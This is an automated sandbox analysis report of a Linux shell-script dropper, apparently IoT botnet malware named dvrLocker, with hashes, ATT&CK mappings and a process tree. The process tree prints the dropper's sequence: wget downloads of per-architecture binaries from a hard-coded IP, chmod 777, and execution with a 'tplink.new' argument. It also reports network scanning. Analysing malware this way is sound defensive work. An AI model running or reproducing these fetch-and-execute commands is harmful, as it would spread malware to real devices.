082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa

Analysis

max time kernel
149s
max time network
82s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/11/2024, 02:06

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General

Target
082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa.sh
Size 917B
Sample241108-cjpsfasgpm
SHA256 082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa
MD5 6d78fa485ed425a375d4ef0075d64a0f
SHA1 a5a557ec5b77b5e18d46881f1ec9db77cbdeaf27
SHA512 5447f298576c81fdde0e5faeec0abdd697483cf47446ca64923016b58112993ac92a38207f56db708f58eb5ad3ea41c67ff67e1d01bc7523b3e26e51a36bb378
MD5 SHA1 SHA512

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (10003) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 19 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
866	chmod
886	chmod
894	chmod
898	chmod
910	chmod
811	chmod
853	chmod
874	chmod
878	chmod
906	chmod
847	chmod
902	chmod
818	chmod
850	chmod
858	chmod
862	chmod
870	chmod
882	chmod
890	chmod

Executes dropped EXE 20 IoCs

ioc	pid	Process
/tmp/lib/dvrLocker	812	dvrLocker
/tmp/lib/dvrLocker	822	dvrLocker
/tmp/lib/dvrLocker	841	dvrLocker
/tmp/lib/dvrLocker	848	dvrLocker
/tmp/lib/dvrLocker	851	dvrLocker
/tmp/lib/dvrLocker	854	dvrLocker
/mnt/dvrLocker	859	dvrLocker
/mnt/dvrLocker	863	dvrLocker
/mnt/dvrLocker	867	dvrLocker
/mnt/dvrLocker	871	dvrLocker
/mnt/dvrLocker	875	dvrLocker
/mnt/dvrLocker	879	dvrLocker
/mnt/dvrLocker	883	dvrLocker
/mnt/dvrLocker	887	dvrLocker
/mnt/dvrLocker	891	dvrLocker
/mnt/dvrLocker	895	dvrLocker
/mnt/dvrLocker	899	dvrLocker
/mnt/dvrLocker	903	dvrLocker
/mnt/dvrLocker	907	dvrLocker
/mnt/dvrLocker	911	dvrLocker

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	139.84.165.176
Destination IP	152.53.15.127

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	mini_httpd	812	dvrLocker

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/881/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/871/status	dvrLocker
File opened for reading	/proc/874/status	dvrLocker
File opened for reading	/proc/878/status	dvrLocker
File opened for reading	/proc/886/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/856/status	dvrLocker
File opened for reading	/proc/857/status	dvrLocker
File opened for reading	/proc/867/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/879/status	dvrLocker
File opened for reading	/proc/882/status	dvrLocker
File opened for reading	/proc/911/status	dvrLocker
File opened for reading	/proc/850/status	dvrLocker
File opened for reading	/proc/858/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/839/status	dvrLocker
File opened for reading	/proc/854/status	dvrLocker
File opened for reading	/proc/880/status	dvrLocker
File opened for reading	/proc/892/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/845/status	dvrLocker
File opened for reading	/proc/896/status	dvrLocker
File opened for reading	/proc/907/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/836/status	dvrLocker
File opened for reading	/proc/1/cmdline	dvrLocker
File opened for reading	/proc/865/status	dvrLocker
File opened for reading	/proc/870/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/862/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/868/status	dvrLocker
File opened for reading	/proc/891/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/819/status	dvrLocker
File opened for reading	/proc/843/status	dvrLocker
File opened for reading	/proc/895/status	dvrLocker
File opened for reading	/proc/912/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/838/status	dvrLocker
File opened for reading	/proc/876/status	dvrLocker
File opened for reading	/proc/909/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/849/status	dvrLocker
File opened for reading	/proc/872/status	dvrLocker

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
861	wget
864	rm
889	wget
892	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lib/dvrLocker	082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa.sh

/tmp/082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa.sh
/tmp/082577cee4e185f4faebaa1f31c4739babf0569d4b3a0bd7e7453b4f5310a1fa.sh
1⤵
- Writes file to tmp directory
PID:713
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/111/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/118/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/119/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:737
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/149/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/153/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:754
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:755
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:756
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:760
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:761
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:762
- /bin/ls
  ls -l /proc/243/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/333/exe
  2⤵
  PID:765
- /bin/ls
  ls -l /proc/356/exe
  2⤵
  PID:766
- /bin/ls
  ls -l /proc/357/exe
  2⤵
  PID:767
- /bin/ls
  ls -l /proc/359/exe
  2⤵
  PID:768
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  PID:769
- /bin/ls
  ls -l /proc/363/exe
  2⤵
  PID:770
- /bin/ls
  ls -l /proc/37/exe
  2⤵
  - Reads runtime system information
  PID:771
- /bin/ls
  ls -l /proc/384/exe
  2⤵
  PID:772
- /bin/ls
  ls -l /proc/386/exe
  2⤵
  - Reads runtime system information
  PID:773
- /bin/ls
  ls -l /proc/393/exe
  2⤵
  PID:774
- /bin/ls
  ls -l /proc/396/exe
  2⤵
  - Reads runtime system information
  PID:775
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:776
- /bin/ls
  ls -l /proc/419/exe
  2⤵
  - Reads runtime system information
  PID:777
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:778
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:779
- /bin/ls
  ls -l /proc/670/exe
  2⤵
  PID:780
- /bin/ls
  ls -l /proc/676/exe
  2⤵
  PID:781
- /bin/ls
  ls -l /proc/68/exe
  2⤵
  - Reads runtime system information
  PID:782
- /bin/ls
  ls -l /proc/683/exe
  2⤵
  - Reads runtime system information
  PID:783
- /bin/ls
  ls -l /proc/684/exe
  2⤵
  PID:784
- /bin/ls
  ls -l /proc/69/exe
  2⤵
  PID:785
- /bin/ls
  ls -l /proc/692/exe
  2⤵
  - Reads runtime system information
  PID:786
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:787
- /bin/ls
  ls -l /proc/70/exe
  2⤵
  PID:788
- /bin/ls
  ls -l /proc/705/exe
  2⤵
  PID:789
- /bin/ls
  ls -l /proc/706/exe
  2⤵
  PID:790
- /bin/ls
  ls -l /proc/708/exe
  2⤵
  PID:791
- /bin/ls
  ls -l /proc/71/exe
  2⤵
  PID:792
- /bin/ls
  ls -l /proc/710/exe
  2⤵
  PID:793
- /bin/ls
  ls -l /proc/711/exe
  2⤵
  - Reads runtime system information
  PID:794
- /bin/ls
  ls -l /proc/712/exe
  2⤵
  - Reads runtime system information
  PID:795
- /bin/ls
  ls -l /proc/713/exe
  2⤵
  - Reads runtime system information
  PID:796
- /bin/ls
  ls -l /proc/714/exe
  2⤵
  - Reads runtime system information
  PID:797
- /bin/ls
  ls -l /proc/72/exe
  2⤵
  - Reads runtime system information
  PID:798
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  - Reads runtime system information
  PID:799
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:800
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  - Reads runtime system information
  PID:801
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  - Reads runtime system information
  PID:802
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:803
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  PID:804
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  PID:805
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:806
- /bin/rm
  rm -rf /tmp/lib/
  2⤵
  PID:807
- /bin/rm
  rm -rf /tmp/lib/dvrLocker
  2⤵
  PID:808
- /bin/mkdir
  mkdir /tmp/lib/
  2⤵
  - Reads runtime system information
  PID:809
- /usr/bin/wget
  wget http://45.202.35.91/tmpsl -O -
  2⤵
  PID:810
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  - Changes its process name
  - Reads runtime system information
  PID:812
- /bin/rm
  rm -rf tmpsl
  2⤵
  PID:816
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm -rf tarm
  2⤵
  PID:823
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:841
- /bin/rm
  rm -rf tarm5
  2⤵
  PID:843
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm -rf tppc
  2⤵
  PID:849
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm -rf tarm7
  2⤵
  PID:852
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm -rf /mnt/dvrLocker
  2⤵
  PID:856
- /usr/bin/wget
  wget http://45.202.35.91/tmpsl -O -
  2⤵
  PID:857
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm -rf tmpsl
  2⤵
  PID:860
- /usr/bin/wget
  wget http://45.202.35.91/tmips -O -
  2⤵
  - System Network Configuration Discovery
  PID:861
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm -rf tmips
  2⤵
  - System Network Configuration Discovery
  PID:864
- /usr/bin/wget
  wget http://45.202.35.91/tarm -O -
  2⤵
  PID:865
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm -rf tarm
  2⤵
  PID:868
- /usr/bin/wget
  wget http://45.202.35.91/tarm5 -O -
  2⤵
  PID:869
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm -rf tarm5
  2⤵
  PID:872
- /usr/bin/wget
  wget http://45.202.35.91/tppc -O -
  2⤵
  PID:873
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm -rf tppc
  2⤵
  PID:876
- /usr/bin/wget
  wget http://45.202.35.91/tarm7 -O -
  2⤵
  PID:877
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm -rf tarm7
  2⤵
  PID:880
- /usr/bin/wget
  wget http://45.202.35.91/x86 -O -
  2⤵
  PID:881
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm -rf x86
  2⤵
  PID:884
- /usr/bin/wget
  wget http://45.202.35.91/tmpsl -O -
  2⤵
  PID:885
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm -rf tmpsl
  2⤵
  PID:888
- /usr/bin/wget
  wget http://45.202.35.91/tmips -O -
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm -rf tmips
  2⤵
  - System Network Configuration Discovery
  PID:892
- /usr/bin/wget
  wget http://45.202.35.91/tarm -O -
  2⤵
  PID:893
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm -rf tarm
  2⤵
  PID:896
- /usr/bin/wget
  wget http://45.202.35.91/tarm5 -O -
  2⤵
  PID:897
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm -rf tarm5
  2⤵
  PID:900
- /usr/bin/wget
  wget http://45.202.35.91/tppc -O -
  2⤵
  PID:901
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm -rf tppc
  2⤵
  PID:904
- /usr/bin/wget
  wget http://45.202.35.91/tarm7 -O -
  2⤵
  PID:905
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm -rf tarm7
  2⤵
  PID:908
- /usr/bin/wget
  wget http://45.202.35.91/x86 -O -
  2⤵
  PID:909
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /mnt/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm -rf x86
  2⤵
  PID:912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

dvrLocker

Path /tmp/lib/dvrLocker
Size 95KB
SHA256 32a11abaae3a98a5c04532ebfc258d2c871eb9e68dbcaa11d6242db21922e9ba
MD5 6f5f89fdfd11c73af00c8c7a8cd8eaca
SHA1 0170ae81b162afa0920b0dc030084775883103ca
SHA512 f04f64a628bd5c7967525bd30f7e6290b004673d100d4387b1c0fbe29460b4f3a28e05e296fef3c8a02115f8056ed1901699ffd39ebedbe04ff06290eb1bfd3e
SSDEEP 1536:f5JfA7SmiUE1I0wF/vbOvD0uZjDlY9zSw6ZFmugXmYKd:fbfAOmLEGlAv69zj6gP+
MD5 SHA1 SHA512 SSDEEP

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